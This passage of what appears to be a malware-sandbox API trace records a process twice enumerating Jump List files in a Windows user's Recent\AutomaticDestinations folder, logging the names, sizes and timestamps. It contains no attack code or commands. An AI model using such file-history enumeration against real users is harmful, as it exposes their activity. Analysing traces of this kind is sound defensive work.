cFileName="9c08ad74ad8708df.automaticDestinations-ms", cAlternateFileName="9C08AD~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64ad8bc0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64ad8bc0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64ad8bc0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="9cfafb05ce914942.automaticDestinations-ms", cAlternateFileName="9CFAFB~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b60346b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x1b60346b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1b60346b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="9d1f905ce5044aee.automaticDestinations-ms", cAlternateFileName="9D1F90~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76210a8a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x76210a8a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x641e7d87, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="b8ab77100df80ab2.automaticDestinations-ms", cAlternateFileName="B8AB77~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x646f8d57, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x646f8d57, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x646f8d57, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="b8b3a97bfbf120b6.automaticDestinations-ms", cAlternateFileName="B8B3A9~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x672a206a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x672a206a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x672a206a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="d00655d2aa12ff6d.automaticDestinations-ms", cAlternateFileName="D00655~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.186] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.186] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbf981f92, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xbf981f92, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x845f53cb, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x8498, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="f01b4d95cf55d32a.automaticDestinations-ms", cAlternateFileName="F01B4D~1.AUT")) returned 1 [0153.186] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.187] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.187] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fe51f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="fb3b0dbfee58fac8.automaticDestinations-ms", cAlternateFileName="FB3B0D~1.AUT")) returned 1 [0153.187] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.187] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.187] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67fe51f2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67fe51f2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67fe51f2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="fb3b0dbfee58fac8.automaticDestinations-ms", cAlternateFileName="FB3B0D~1.AUT")) returned 0 [0153.187] GetLastError () returned 0x12 [0153.187] FindClose (in: hFindFile=0xa1b9a0 | out: hFindFile=0xa1b9a0) returned 1 [0153.187] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\AutomaticDestinations\\*.*", lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xef93d305, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xef93d305, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName=".", cAlternateFileName="")) returned 0xa1b9a0 [0153.187] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7fc | out: lpLocalFileTime=0x19f7fc) returned 1 [0153.187] FileTimeToDosDateTime (in: lpFileTime=0x19f7fc, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.187] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbf95bd2d, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xef93d305, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xef93d305, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="..", cAlternateFileName="")) returned 1 [0153.187] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.187] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.187] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x651ffc2f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x651ffc2f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x651ffc2f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="162797d679096999.automaticDestinations-ms", cAlternateFileName="162797~1.AUT")) returned 1 [0153.187] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.187] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.187] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8ce308d7, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8ce308d7, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x92aa4b2b, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1b4dd67f29cb1962.automaticDestinations-ms", cAlternateFileName="1B4DD6~1.AUT")) returned 1 [0153.187] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.187] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.187] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef93d305, ftCreationTime.dwHighDateTime=0x1d5f12a, ftLastAccessTime.dwLowDateTime=0xef93d305, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xf003e27c, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x600, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1b5accfe55e03fc4.automaticDestinations-ms", cAlternateFileName="1B5ACC~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6623dd20, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6623dd20, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66263f3d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1b6ebacd7cd2f25a.automaticDestinations-ms", cAlternateFileName="1B6EBA~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66a9610b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66a9610b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66a9610b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="1bc9bbbe61f14501.automaticDestinations-ms", cAlternateFileName="1BC9BB~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f0b5bcc, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x3f0b5bcc, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x91fc39db, ftLastWriteTime.dwHighDateTime=0x1d3aafb, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="319f01bf9fe00f2d.automaticDestinations-ms", cAlternateFileName="319F01~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x658b4643, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x658b4643, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x658b4643, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="5175b273ceba776b.automaticDestinations-ms", cAlternateFileName="5175B2~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0x855e6de4, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x2b05a, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="5f7b5f1e01b83767.automaticDestinations-ms", cAlternateFileName="5F7B5F~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64e6c3a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64e6c3a5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64e6c3a5, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="61ebb1e65cfcb8da.automaticDestinations-ms", cAlternateFileName="61EBB1~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef89c12b, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xef89c12b, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xef89c12b, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="6824f4a902c78fbd.automaticDestinations-ms", cAlternateFileName="6824F4~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66e75d9e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66e75d9e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66e75d9e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="6d2bac8f1edf6668.automaticDestinations-ms", cAlternateFileName="6D2BAC~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66669e90, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x66669e90, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x66669e90, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="75668a91ce73b054.automaticDestinations-ms", cAlternateFileName="75668A~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67a61ae6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x67a61ae6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x67a61ae6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="78f0afb5bd4bb278.automaticDestinations-ms", cAlternateFileName="78F0AF~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37f27bc, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x37f27bc, ftLastAccessTime.dwHighDateTime=0x1d32715, ftLastWriteTime.dwLowDateTime=0x5bc77d9d, ftLastWriteTime.dwHighDateTime=0x1d5e877, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="7e4dca80246863e3.automaticDestinations-ms", cAlternateFileName="7E4DCA~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.188] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.188] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65cba52e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x65cba52e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x65cba52e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="80d13f95c2c02af9.automaticDestinations-ms", cAlternateFileName="80D13F~1.AUT")) returned 1 [0153.188] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6765bb0e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x6765bb0e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6765bb0e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="9c08ad74ad8708df.automaticDestinations-ms", cAlternateFileName="9C08AD~1.AUT")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x64ad8bc0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x64ad8bc0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x64ad8bc0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="9cfafb05ce914942.automaticDestinations-ms", cAlternateFileName="9CFAFB~1.AUT")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b60346b, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x1b60346b, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x1b60346b, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="9d1f905ce5044aee.automaticDestinations-ms", cAlternateFileName="9D1F90~1.AUT")) returned 1 [0153.189] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.189] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.189] FindNextFileW (in: hFindFile=0xa1b9a0, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76210a8a, ftCreationTime.dwHighDateTime=0x1d327c8, ftLastAccessTime.dwLowDateTime=0x76210a8a, ftLastAccessTime.dwHighDateTime=0x1d327c8, ftLastWriteTime.dwLowDateTime=0x641e7d87, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="b8ab77100df80ab2.automaticDestinations-ms", cAlternateFileName="B8AB77~1.AUT")) returned 